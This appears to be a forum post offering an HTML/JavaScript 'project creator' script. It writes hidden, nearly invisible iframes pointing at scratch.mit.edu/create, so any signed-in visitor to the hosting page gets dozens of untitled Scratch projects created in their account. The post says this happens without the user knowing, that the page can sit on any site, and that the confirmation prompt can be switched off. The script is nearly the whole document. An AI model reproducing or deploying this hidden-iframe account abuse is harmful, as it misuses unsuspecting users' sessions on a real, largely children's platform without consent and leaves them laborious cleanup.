Scratch project creator script here creates a ton of Scratch projects without the user knowing. WARNING: It will take a while to delete all these projects this script creates, so use with caution! The user must be signed in on Scratch.mit.edu for this to work, but really, this script can be on any site to work.

project-creator.html

<script>
var numb = 30; // The number of projects to create
var warn = true; // Warn user about what's about to happen?

if(warn) {
    var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)");
    if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") {
        for(var i = 0; i < numb; i++) {
        document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
    }
    } else {
        document.write("Action cancelled.");
    }
} else {
    for(var i = 0; i < numb; i++) {
        document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
    }
}
</script>